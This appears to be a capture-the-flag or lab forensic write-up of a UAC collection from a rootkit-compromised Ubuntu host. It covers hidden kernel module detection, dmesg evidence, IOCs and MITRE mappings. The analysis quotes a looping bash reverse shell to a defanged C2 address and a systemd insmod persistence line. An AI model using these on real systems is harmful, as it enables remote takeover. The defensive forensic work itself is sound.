A containerised Linux server was compromised via network intrusion. The attacker escaped the container to the underlying host, killed an active packet capture process, installed a kernel-level rootkit, and cleaned up installation artifacts before disconnecting. Days later the host exhibited classic rootkit symptoms — hidden processes, unexplained network connections, and system instability. A UAC live response collection was performed on the live system for forensic analysis.
| Field | Value |
|---|---|
| Hostname | wowza |
| Kernel | 5.4.0-216-generic |
| OS | Ubuntu Linux |
| Collection Tool | UAC (Unix Artifacts Collector) |
| Collection Time | 2025-11-24 23:36 UTC |
Initial triage from UAC artifacts confirmed the system identity via live_response/system/uname_-a.txt:
Linux wowza 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64 GNU/Linux
Rather than trusting lsmod output directly, the UAC collection allows cross-referencing userspace tool output against kernel filesystem artifacts — a critical technique when dealing with rootkits that hook syscalls to hide themselves.
Comparing two independent sources revealed the discrepancy:
| Source | sysperf present? |
|---|---|
lsmod output | ❌ Not listed |
/sys/module/ filesystem | ✅ drwxr-xr-x 5 root root 0 Nov 24 23:36 sysperf |
A legitimate module absent from lsmod but present in /sys/module/ is a classic rootkit signature — the rootkit hooks the syscall used by lsmod to filter itself from output while remaining loaded in the kernel.
dmesg analysis provided independent confirmation of the malicious module load:
[ 9127.292300] sysperf: loading out-of-tree module taints kernel.
[ 9127.293082] sysperf: module verification failed: signature and/or required key missing - tainting kernel
Three red flags confirmed simultaneously:
Converting the dmesg uptime timestamp 9127.292300 seconds against the system boot time places the rootkit load at 2025-11-24 23:31 UTC — approximately 5 minutes before the UAC collection timestamp.
The rootkit’s configured C2 endpoint is 185[.]220[.]101[.]50:9999, announced by the module itself in the kernel ring buffer (SysPerfMon: Target C2: 185[.]220[.]101[.]50:9999) and corroborated by a host route to that IP in the routing table (netstat -rn). Persistence is maintained by a self-healing reverse shell that reconnects every 30 seconds:
while true; do bash -i >& /dev/tcp/185[.]220[.]101[.]50/9999 0>&1; sleep 30; done
Note — the two-port trap: a second reverse shell on port
4444(PID24903, usernatsuir+) also references this host, but it is the legacy container-escape shell from the earlier intrusion, not the sysperf rootkit’s C2. The rootkit’s only channel is9999. Conflating the two is the most common wrong answer on this lab.

To survive reboots the attacker created a systemd service to automatically reload the rootkit kernel module on startup:
Service path: /etc/systemd/system/sysperf[.]service
ini
ExecStart=/sbin/insmod /lib/modules/sysperf.ko
This service is responsible for spawning the persistent reverse shell root process at PID 39303.

`
| Type | Value |
|---|---|
| Malicious kernel module | sysperf.ko |
| Module SHA256 | ded20890c28460708ea1f02ef50b6e3b44948dbe67d590cc6ff2285241353fd8 |
| C2 IP | 185[.]220[.]101[.]50 |
| Rootkit C2 port | 9999 |
| Legacy escape-shell port | 4444 (earlier intrusion — user natsuir+, PID 24903, not rootkit C2) |
| Persistence path | /etc/systemd/system/sysperf[.]service |
| Module load time | 2025-11-24 23:31 UTC |
| Technique | ID |
|---|---|
| Rootkit | T1014 |
| Kernel Modules and Extensions | T1547.006 |
| Systemd Service | T1543.002 |
| Command and Scripting Interpreter: Unix Shell | T1059.004 |
| Application Layer Protocol | T1071 |
| Container Escape | T1611 |
| Indicator Removal | T1070 |
The critical forensic insight here is cross-referencing independent data sources. A rootkit can hook userspace syscalls to hide from tools like lsmod, ps, and netstat — but UAC reads directly from the kernel filesystem (/sys/module/) bypassing those hooks entirely. The discrepancy between what lsmod reported and what /sys/module/ contained was the thread that unravelled the entire compromise.